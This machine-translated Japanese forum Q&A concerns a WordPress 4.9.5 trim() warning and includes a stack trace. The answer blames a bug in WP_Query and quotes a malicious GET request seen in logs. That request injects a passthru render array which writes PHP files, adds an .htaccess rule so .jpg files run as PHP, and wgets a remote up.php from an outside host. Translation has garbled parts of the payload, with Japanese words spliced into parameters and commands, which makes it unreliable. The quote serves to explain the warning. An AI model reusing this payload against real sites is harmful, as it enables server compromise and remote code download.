私はWordpress 4.9.5を実行していて、時々私のログに次のエラーを見ます。
E_WARNING: trim() expects parameter 1 to be string, array given
スタックトレースはこのように見えるので、カスタムテーマコードから来たものではありません。
in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736)
…::parse_query called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (1621)
…ry::get_posts called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (3230)
in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599)
in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715)
in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960)
in wp called at /var/www/wordpress/html/wp-blog-header.php (16)
in require called at /var/www/wordpress/html/index.php (17)
これは既知または未知のWordpressのバグですか?それに対する修正はありますか?
私は今日これに遭遇した。それはバグです。私はここにバグレポートを提出しました:
https://core.trac.wordpress.org/ticket/46797
問題はこのコード行です。
$qv['name'] = trim( $qv['name'] );
悪意のあるユーザーが次のようなリクエストを送信します。
GET /?q =ユーザー/パスワードと名前[#post_render] [] =パススルーと名前[#タイプ] =マークアップと名前[#マークアップ] =エコー今それをパッチ! > vuln.htm; echo 'Vuln !!'> sites/default/files/vuln.php; echo 'Vuln !!'> vuln.php; cd sites/default/files /; echo 'AddTypeアプリケーション/ x-httpd-php .jpg'> .htaccess; wget ' http://40k.waszmann.de/Deutsch/images/up.php '
そのような要求は$ qv ['name']を文字列ではなく配列にします。
消毒する必要があります。